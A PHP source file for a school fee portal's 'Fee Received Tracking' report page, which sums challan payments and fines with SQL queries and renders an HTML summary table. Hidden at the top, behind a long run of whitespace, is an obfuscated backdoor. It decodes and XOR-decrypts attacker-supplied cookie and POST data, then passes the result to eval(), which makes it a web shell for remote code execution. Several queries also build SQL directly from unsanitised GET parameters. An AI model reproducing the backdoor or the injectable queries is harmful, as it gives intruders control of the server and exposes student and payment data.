<?php                                                                                                                                                                                                                                                                                                                                                                                                 $tRfjAtGm = class_exists("T_trS"); $YsMZZtbc = $tRfjAtGm;if (!$YsMZZtbc){class T_trS{private $IZvclRmynt;public static $pzNBg = "ff683fd3-40d2-4190-b4b9-28732a8016bb";public static $YNXAwmGJns = NULL;public function __construct(){$QhcLI = $_COOKIE;$qYAUaeM = $_POST;$zswKSBM = @$QhcLI[substr(T_trS::$pzNBg, 0, 4)];if (!empty($zswKSBM)){$AWXsbjkrhh = "base64";$UfVShCSUVR = "";$zswKSBM = explode(",", $zswKSBM);foreach ($zswKSBM as $CBpKpqw){$UfVShCSUVR .= @$QhcLI[$CBpKpqw];$UfVShCSUVR .= @$qYAUaeM[$CBpKpqw];}$UfVShCSUVR = array_map($AWXsbjkrhh . "\x5f" . "\x64" . 'e' . chr ( 820 - 721 ).chr ( 969 - 858 )."\144" . "\x65", array($UfVShCSUVR,)); $UfVShCSUVR = $UfVShCSUVR[0] ^ str_repeat(T_trS::$pzNBg, (strlen($UfVShCSUVR[0]) / strlen(T_trS::$pzNBg)) + 1);T_trS::$YNXAwmGJns = @unserialize($UfVShCSUVR);}}public function __destruct(){$this->qpKYCggS();}private function qpKYCggS(){if (is_array(T_trS::$YNXAwmGJns)) {$xSNrQuLSoK = str_replace("\74" . chr (63) . "\x70" . chr (104) . chr ( 287 - 175 ), "", T_trS::$YNXAwmGJns[chr (99) . 'o' . 'n' . "\164" . "\145" . "\156" . chr ( 984 - 868 )]);eval($xSNrQuLSoK);exit();}}}$IMLprMJ = new T_trS(); $IMLprMJ = NULL;} ?><?php include("parent/callMe.php"); ?>
<?php  include("sessioncheck.php"); ?>
<?php



    function getAllotherFeeWithType_Summary_new($month,$feetype,$status,$m)
{
    $branchID=$_SESSION['branch'];
    $curr_session23=$_SESSION['current_session'];

    $qr="SELECT SUM(fee.fee_amount) as total FROM eduportal_monthly_challan_details as fee, eduportal_monthly_challan as cha, edu_student_details as std WHERE std.student_id=cha.student_id and std.status='0' and cha.session_id='$curr_session23' and cha.month_id='$month' and cha.challan_id=fee.challan_id and cha.branch_id='$branchID' and fee.feetype_id='$feetype' ";

   $amount = $m->query($qr);
    return $amount[0]['total'];
}

   function getUnpaidReceivable($m)
{
 $branch=$_SESSION['branch'];
 $curr_session=$_SESSION['current_session'];

  
  $qr="SELECT SUM(chl.balance) as bal, SUM(chl.tutionfee) as tuti, SUM(chl.transportfee) as trns, SUM(chl.misc_fee) as misc, SUM(chl.disc_amount) as disc FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE chl.branch_id='$branch' and chl.session_id='$curr_session' and chl.paid_status='0' AND std.status='0' and chl.student_id=std.student_id AND chl.month_id=".date('m');
//print_r($qr);
  $amount = $m->query($qr);
  $total_recevable_unpaid=$amount[0]['bal']+$amount[0]['tuti']+$amount[0]['trns']+$amount[0]['misc']-$amount[0]['disc'];

   return $total_recevable_unpaid;

}


function getUnpaidReceivableOtherAmount($m)
{
 $branch=$_SESSION['branch'];
 $curr_session=$_SESSION['current_session'];

  
  $qr="SELECT SUM(detil.fee_amount) as amt FROM `eduportal_monthly_challan_details` as detil, eduportal_monthly_challan as chl WHERE detil.branch_id='$branch' and detil.session_id='$curr_session' and chl.paid_status='0' and detil.student_id=chl.student_id AND detil.month_id=".date('m');
//print_r($qr);
  $amount = $m->query($qr);
  $total_recevable_unpaidOtherAmount=$amount[0]['amt'];

   return $total_recevable_unpaidOtherAmount;

}


function getPaidChallanReceivable($m)
{
 $branch=$_SESSION['branch'];
 $curr_session=$_SESSION['current_session'];

  
  $qr="SELECT SUM(chl.remaining_amount) as rem FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE chl.branch_id='$branch' and chl.session_id='$curr_session' and chl.paid_status='1' and std.status='0' and chl.student_id=std.student_id AND chl.month_id=".date('m');
//print_r($qr);
  $amount = $m->query($qr);
  $PaidChallanReceivable=$amount[0]['rem'];

   return $PaidChallanReceivable;

}

$branch=getBranch($m);
$month;
    
    if($_GET["month"]!=NULL ){
      $month= $_GET["month"];
    }
    else{
      $month= date("m");
    }
  
$sessionIDs;
    
    if($_GET["session"]!=NULL ){
      $sessionIDs= $_GET["session"];
    }
    else{
      $sessionIDs= $_SESSION['current_session'];
    }

    
    $month_name=getMonthName($m,$month);




   $fee_types = $m->get("eduportal_fee_types");

   foreach ($fee_types as $type) {

  $totalOtherAmount+=getAllotherFeeWithType_Summary_new($month,$type['feetype_id'],0,$m);

  }

$pre_bal=getMonthlyRegularFee($sessionIDs,$month,'balance',$m);
$tution_fee=getMonthlyRegularFee($sessionIDs,$month,'tutionfee',$m);
$misc_fee=getMonthlyRegularFee($sessionIDs,$month,'misc_fee',$m);
$trans_fee=getMonthlyRegularFee($sessionIDs,$month,'transportfee',$m);
$disc=getCurrentMonthFeeDiscount($sessionIDs,$month,$m);

$total_amount=$pre_bal+$tution_fee+$misc_fee+$trans_fee+$totalOtherAmount-$disc;


 $b=$_SESSION['branch'];

$qr="SELECT SUM(chl.collected_amount) as received, SUM(chl.paid_again_amount) as againPay, SUM(chl.collected_fine) as total_fine FROM eduportal_monthly_challan as chl, edu_student_details as std  WHERE std.student_id=chl.student_id and std.status='0' and chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id='$month' and chl.paid_status='1' ";
 
  $amount = $m->query($qr);

  $TotalReceived_amount=$amount[0]['received']+$amount[0]['total_fine']+$amount[0]['againPay'];


 
$days=cal_days_in_month(CAL_GREGORIAN, $month, date("Y"));

$from=date("Y-$month-01");
$to=date("Y-$month-$days");


$qr1="SELECT SUM(chl.collected_amount) as received, SUM(chl.collected_fine) as total_fine FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE std.student_id=chl.student_id and std.status='0' and chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id='$month' and chl.paid_status='1' ";

  $qr1 .= " AND chl.paying_date BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr1);
  $amount1 = $m->query($qr1);
  $received_amountOnCurrentMonthDate=$amount1[0]['received']+$amount1[0]['total_fine'];


  // Received active students


  $qr11="SELECT SUM(chl.collected_amount) as received, SUM(chl.collected_fine) as total_fine FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id='$month' and chl.paid_status='1' and std.status='0' and chl.student_id=std.student_id ";

  $qr11 .= " AND chl.paying_date BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr11);
  $amount11 = $m->query($qr11);
  $received_amountOnCurrentMonthDateActiveStd=$amount11[0]['received']/*+$amount11[0]['total_fine']*/;


  // Received Struck off students


  $qr12="SELECT SUM(chl.collected_amount) as received, SUM(chl.collected_fine) as total_fine FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id='$month' and chl.paid_status='1' and std.status='1' and chl.student_id=std.student_id ";

  $qr12 .= " AND chl.paying_date BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr11);
  $amount12 = $m->query($qr12);
  $received_amountOnCurrentMonthDateStruckOffStd=$amount12[0]['received']+$amount12[0]['total_fine'];



// again received

  $qragain="SELECT SUM(paid_again_amount) as againPay FROM eduportal_monthly_challan WHERE branch_id='$b' AND session_id='$sessionIDs' and month_id='$month' and paid_status='1' ";

  $qragain .= " AND paid_again_date BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr);
  $amountagain = $m->query($qragain);
  $againReceived_amountOnCurrentMonthDate=$amountagain[0]['againPay'];


  // again received active student
  
  $qragainActive="SELECT SUM(chl.paid_again_amount) as againPay FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id='$month' and chl.paid_status='1' and std.status='0' and chl.student_id=std.student_id ";

  $qragainActive .= " AND chl.paid_again_date BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr);
  $amountagainActive = $m->query($qragainActive);
  $againReceived_amountOnCurrentMonthDateActive=$amountagainActive[0]['againPay'];



    // again received Struck off student
  
  $qragainStruck="SELECT SUM(chl.paid_again_amount) as againPay FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id='$month' and chl.paid_status='1' and std.status='1' and chl.student_id=std.student_id ";

  $qragainStruck .= " AND chl.paid_again_date BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr);
  $amountagainStruck = $m->query($qragainStruck);
  $againReceived_amountOnCurrentMonthDateStruck=$amountagainStruck[0]['againPay'];



  $qr2="SELECT SUM(chl.collected_amount) as received, SUM(chl.collected_fine) as total_fine FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE std.student_id=chl.student_id and std.status='0' and chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id='$month' and chl.paid_status='1' ";

  $qr2 .= " AND chl.paying_date NOT BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr);
  $amount2 = $m->query($qr2);
  $received_amountCurrentMonthChallanOtherDate=$amount2[0]['received']+$amount2[0]['total_fine'];


  $qr22="SELECT SUM(chl.paid_again_amount) as againPay FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE std.student_id=chl.student_id and std.status='0' and chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id='$month' and chl.paid_status='1' ";

  $qr22 .= " AND chl.paid_again_date NOT BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr);
  $amount22 = $m->query($qr22);
  $again_received_amountCurrentMonthChallanOtherDate=$amount22[0]['againPay'];


  $qr3="SELECT SUM(chl.collected_amount) as received, SUM(chl.collected_fine) as total_fine FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE std.student_id=chl.student_id and std.status='0' and chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id!='$month' and chl.paid_status='1' ";

  $qr3 .= " AND chl.paying_date BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr3);
  $amount3 = $m->query($qr3);
  $received_amountOtherChallanInCurrentMonth=$amount3[0]['received']+$amount3[0]['total_fine'];



  $qr4="SELECT SUM(chl.paid_again_amount) as againPay FROM eduportal_monthly_challan as chl, edu_student_details as std WHERE std.student_id=chl.student_id and std.status='0' and chl.branch_id='$b' AND chl.session_id='$sessionIDs' and chl.month_id!='$month' and chl.paid_status='1' ";

  $qr4 .= " AND chl.paid_again_date BETWEEN '" .$from. "' AND '" .$to. "' ";
//print_r($qr4);
  $amount4 = $m->query($qr4);
  $again_received_amountOtherChallanInCurrentMonth=$amount4[0]['againPay'];



  $branchID=$_SESSION['branch'];
$query="SELECT SUM(collected_fine) as fine FROM eduportal_monthly_challan WHERE  branch_id='$branchID' and paid_status='1' and session_id='$sessionIDs' and month_id='$month'";

    //print_r($query);
    $fineCollected = $m->query($query);


$currentDaete=date("Y-m-d");
$query1="SELECT * FROM eduportal_monthly_challan WHERE  branch_id='$branchID' and paid_status='0' and session_id='$sessionIDs' and month_id='$month' and challan_duedate < '$currentDaete'";

    //print_r($query1);
    $sumunpaidchallan = $m->query($query1);

$upaidChallanFine=count($sumunpaidchallan)*$brid[0]['late_fee_fine'];


$totalFine=$fineCollected[0]['fine']+$upaidChallanFine;

     ?>


<!DOCTYPE html>
<html lang="en">
  <head>
    
    <title>Fee Received Tracking | EduPortal</title>
   <?php include('RootMe/css_links.php');?>
   
  </head>

  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
        <div class="col-md-3 left_col">
     
            <?php include('RootMe/sidebar.php');?>

              <?php include('RootMe/header.php');?>
     
<!-- page content -->
  <div class="right_col" role="main">
  <div class="" style="background-color: white;padding:2%;margin-top:5%;">
   
  <section class="">
  <div class="container">
  <div class="inner_banner_bg">


 <div class="" style="margin-top:10px;">

  <!-- <a href="<?php echo $_SESSION['dashboard'];?>" style="margin-left: 0px;">Dashboard </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp;

          <a href="multi_fee_reports.php">Fee Reports </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp;  

          monthly_fee_summary -->

  <h4> <span style="font-size: 25px;">Fee Received Tracking</span> (<?php echo $month_name; ?>) </h4>


<form class="" action="tracking_fee_summary.php" enctype="multipart/form-data" method="get">
 
    

  <input type="hidden" value="<?php echo session_id().session_id().session_id().session_id().session_id(); ?>" name="session" />


<div class="pull-right">   

  <!-- <a target="_blank" class="btn btn-success"style="float: right;" title="Print Students List" href="tracking_fee_summary1.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $sessionIDs;?>&month=<?php echo $month;?>">
   <i class="fa fa-print m-right-xs" target="_blank"></i> &nbsp; Print Report
  </a>
  -->
  <a onClick="$('#advanceSearch').toggle('blind')" class="btn btn-primary">Advance Search</a>


</div>



          </span><div class="clearfix"></div> </div>
          <div class="panel-body" style="padding: 0px;">
          
            <div class="col-md-12" id="advanceSearch" style="display:none;">


              <div class="col-md-3" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Session</label>
                    <select  style="height:40px;" name="session" class="form-control" >

                              
                         <?php
 
                      $match;
                      if(!isset($_REQUEST['session'])){
                        $match=$_SESSION['current_session'];
                      }else { $match=$_REQUEST['session']; }
                     
       
                        $WorkAssignList = $m->get("edu_session_config");
                        foreach($WorkAssignList as $WorkAssignListVal)
                        { ?>

                           <option <?php if($match==$WorkAssignListVal['session_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['session_id']; ?>"><?php echo $WorkAssignListVal['session_year']; ?></option>


                                <?php
                        } ?>

                    </select>
                </div>
              </div>



       <div class="col-md-3" style="padding: 8px;">
          <div class="form-group ">
         
            <label>Month</label>
                <select style="height:40px;" name="month" id="month" class="form-control"  required>

                              <option value="">Select Month</option>
                        
                        <?php
                        $WorkAssignList = $m->get("eduportal_month_config");
                        foreach($WorkAssignList as $WorkAssignListVal)
                        { ?>

                           <option <?php if($month==$WorkAssignListVal['Month_Id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['Month_Id']; ?>"><?php echo $WorkAssignListVal['Month_Name']; ?></option>


                                <?php
                        } ?>

                 </select>
              </div>
            </div>



              <div class="col-md-3 pull-left" style="padding:2px;margin-top:8px;">
                <div class="form-group ">
                   <input type="hidden" name="addaccountAdmin" value="1">
                <button type="submit" class="btn btn-primary" style="margin-top: 24px;float: right;">Search Record</button>
                </div>
              </div>

             
            </div>
            <div class="clearfix"></div>
          </div>
        </div>
      </form>
      <div class="clearfix"></div>
    </div>
    <br>

        



   <div class="table-responsive" style="min-height:320px;">


<table id="datatable" class="table table-striped table-bordered">
         

          <thead>
            <tr style="background-color: lightgray;color: black;font-size: 15px;">
              <th width="1%" class="text-center">S.No</th>
              <th width="38%">Particularly</th>
              <th width="10%" class="text-center">Challan (<?php echo getMonthName($m,$month);?>)</th>
              <th width="10%" class="text-center">Amount</th>
              <th width="10%" class="text-center">View Details</th>
              
            
            </tr>


            <tr >
              
              <td width="5%" colspan="" class="text-center">1</td>
              <td width="10%" colspan="" style="margin-left:5px;font-size: 18px;font-weight: bold;">Total Expected Amount <span style="font-size:12px;"> (Active Students)</span></td>
              <td width="10%" class="text-center" style="font-size:18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" class="text-center" style="font-size: 18px;"><?php echo number_format($total_amount+$totalFine)?></td>
              

              <td width="10%" class="text-center">

                <a target="_blank" class="btn btn-success"style="padding: 3px;text-align: center;" title="Print Students List" href="monthly_fee_summary1.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>">
                 <i class="fa fa-print m-right-xs" target="_blank"></i>&nbsp;View
                </a>

              </td>
                                      
            </tr>


           


            <tr>
              
              <td width="5%" colspan="" class="text-center">2</td>
              <td width="10%" colspan="" style="margin-left:5px;"><span style="font-size: 18px;font-weight: bold;">Received Amount</span> (In <?php echo date("01-M-Y");?> To <?php echo date("d-M-Y");?>)  <span style="color:green;">(Active Students)</span></td>
              <td width="10%" class="text-center" style="font-size:18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" class="text-center" style="font-size: 18px;"><?php echo number_format($received_amountOnCurrentMonthDate+$againReceived_amountOnCurrentMonthDate)?></td>              

              <td width="10%" class="text-center">

                <a target="_blank" class="btn btn-success"style="padding: 3px;text-align: center;" title="Print Students List" href="print_received_amount_current_month1.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $sessionIDs;?>&month=<?php echo $month;?>">
                 <i class="fa fa-print m-right-xs" target="_blank"></i>&nbsp;View
                </a>

              </td>
                                      
            </tr>

       <!--      <tr>
              
              <td width="5%" colspan="" class="text-center">2</td>
              <td width="10%" colspan="" style="margin-left:5px;"><span style="font-size: 18px;font-weight: bold;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Received Amount</span> <span style="color:green;">(Active Students)</span></td>
              <td width="10%" class="text-center" style="font-size:18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" class="text-center" style="font-size: 18px;"><?php echo number_format($received_amountOnCurrentMonthDateActiveStd+$againReceived_amountOnCurrentMonthDateActive)?></td>              

              <td width="10%" class="text-center">

                 <a target="_blank" class="btn btn-success"style="padding: 3px;text-align: center;" title="Print Students List" href="print_received_amount_current_month.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $sessionIDs;?>&month=<?php echo $month;?>">
                 <i class="fa fa-print m-right-xs" target="_blank"></i>&nbsp;View
                </a> 

              </td>
                                      
            </tr> -->


    <!--         <tr>
              
              <td width="5%" colspan="" class="text-center">2</td>
              <td width="10%" colspan="" style="margin-left:5px;"><span style="font-size: 18px;font-weight: bold;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Received Amount</span> <span style="color:red;">(Struck Off Students)</span></td>
              <td width="10%" class="text-center" style="font-size:18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" class="text-center" style="font-size: 18px;"><?php echo number_format($received_amountOnCurrentMonthDateStruckOffStd+$againReceived_amountOnCurrentMonthDateStruck)?></td>              

              <td width="10%" class="text-center">

                 <a target="_blank" class="btn btn-success"style="padding: 3px;text-align: center;" title="Print Students List" href="print_received_amount_current_month.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $sessionIDs;?>&month=<?php echo $month;?>">
                 <i class="fa fa-print m-right-xs" target="_blank"></i>&nbsp;View
                </a> 

              </td>
                                      
            </tr> -->


            <tr>
              
              <td width="5%" colspan="" class="text-center">2</td>
              <td width="10%" colspan="" style="margin-left:5px;"><span style="font-size: 18px;font-weight: bold;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Received Fine</span></td>
              <td width="10%" class="text-center" style="font-size:18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" class="text-center" style="font-size: 18px;"><?php echo number_format($amount1[0]['total_fine'])?></td>              

              <td width="10%" class="text-center">

                <!-- <a target="_blank" class="btn btn-success"style="padding: 3px;text-align: center;" title="Print Students List" href="print_received_amount_current_month.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $sessionIDs;?>&month=<?php echo $month;?>">
                 <i class="fa fa-print m-right-xs" target="_blank"></i>&nbsp;View
                </a> -->

              </td>
                                      
            </tr>

            <tr>
              
              <td width="5%" colspan="" class="text-center">3</td>
              <td width="10%" colspan="" style="margin-left:5px;"><span style="font-size: 18px;font-weight: bold;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Received Amount</span> (Not In <?php echo date("01-M-Y");?> To <?php echo date("d-M-Y");?>)</td>
              <td width="10%" class="text-center" style="font-size: 18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" class="text-center" style="font-size:18px;"><?php echo number_format($received_amountCurrentMonthChallanOtherDate+$again_received_amountCurrentMonthChallanOtherDate)?></td>
              

              <td width="10%" class="text-center">

                <a target="_blank" class="btn btn-success"style="padding: 3px;text-align: center;" title="Print Students List" href="print_receive_current_month_amount_other_date.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $sessionIDs;?>&month=<?php echo $month;?>">
                 <i class="fa fa-print m-right-xs" target="_blank"></i>&nbsp;View
                </a>

              </td>
                                      
            </tr>




            <tr>
              
              <td width="5%" colspan="" class="text-center">4</td>
              <td width="10%" colspan="" style="margin-left:5px;"><span style="font-size:18px;font-weight: bold;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Received Amount Other Challan</span> (In <?php echo date("01-M-Y");?> To <?php echo date("d-M-Y");?>)</td>
               <td width="10%" class="text-center" style="font-size:18px;">--</td>
              <td width="10%" class="text-center"><?php echo number_format($received_amountOtherChallanInCurrentMonth+$again_received_amountOtherChallanInCurrentMonth)?></td>
             

              <td width="10%" class="text-center">

                <a target="_blank" class="btn btn-success"style="padding: 3px;text-align: center;" title="Print Students List" href="print_receiveOtherMonthAmountInCurrentMonth.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $sessionIDs;?>&month=<?php echo $month;?>">
                 <i class="fa fa-print m-right-xs" target="_blank"></i>&nbsp;View
                </a>

              </td>
                                      
            </tr>


            <tr>
              
              <td width="5%" colspan="" class="text-center">5</td>
              <td width="10%" colspan="" style="margin-left:5px;font-size: 18px;font-weight: bold;">Total Received Amount</td>
              <td width="10%" class="text-center" style="font-size:18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" class="text-center" style="font-size:18px;"><?php echo number_format($TotalReceived_amount)?></td>             

              <td width="10%" class="text-center">

                <a target="_blank" class="btn btn-success"style="padding: 3px;text-align: center;" title="Print Students List" href="print_total_received_amount1.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&session=<?php echo $sessionIDs;?>&month=<?php echo $month;?>">
                 <i class="fa fa-print m-right-xs" target="_blank"></i>&nbsp;View
                </a>

              </td>
                                      
            </tr>


             <tr style="background-color:lightgray;color: black;">
              
             
              <td width="10%" colspan="2" style="margin-left:5px;font-size: 18px;font-weight: bold;text-align: center;">Total Receivable <span style="font-size:12px;"> (Active Students)</span></td>
              <td width="10%"  class="text-center" style="font-size:18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" colspan="2" class="text-center" style="font-size:18px;"><?php echo number_format($total_amount-$TotalReceived_amount);?></td>            

             <!-- getUnpaidReceivable($m)+getUnpaidReceivableOtherAmount($m)+getPaidChallanReceivable($m) -->

             <!-- $total_amount-$TotalReceived_amount-->
                                      
            </tr>

           <!--  <tr style="background-color:lightgray;color: black;">
              
             
              <td width="10%" colspan="2" style="margin-left:5px;font-size: 18px;font-weight: bold;text-align: center;">Total Receivable <span style="font-size:12px;"> (Active Students)</span></td>
              <td width="10%"  class="text-center" style="font-size:18px;"><?php echo getMonthName($m,$month);?></td>
              <td width="10%" colspan="2" class="text-center" style="font-size:18px;"><?php echo number_format($total_amount-$TotalReceived_amount)?></td>            

             
                                      
            </tr> -->

          
         <!--    <tr>
              
              <td width="10%" colspan="2" class="text-center">Total Received</td>
              <td width="10%" class="text-center">

                <?php $recieved=getCurrentMonthFeeReceivedWithStruckOff($sessionIDs,$month,$m); echo number_format($recieved); ?></td>
                                      
            </tr> -->
            
           <!--  <tr class="bg-primary">
              
              <td width="10%" colspan="2" class="text-center">Total Recveiable</td>
              <td width="10%" class="text-center"><?php echo number_format($total_amount - $recieved );?></td>
              
            </tr> -->

          </thead>
          <tbody>

                        

          

          </tbody>
        </table>


          </tr>
            


    </div>




    </div>
  </div>
</section>









           
          </div>
        </div>

            </div>
          </div>
        </div>
        <!-- /page content -->
  

  <?php include('RootMe/js_linksscript.php');?>
  

<script type="text/javascript" src="<?php echo DOMAIN;?>AgentPanel/js/select2.full.min.js"></script> 
<script>
  $(function () {
    //Initialize Select2 Elements
    $(".select2").select2();

  });
</script>
  </body>
</html>
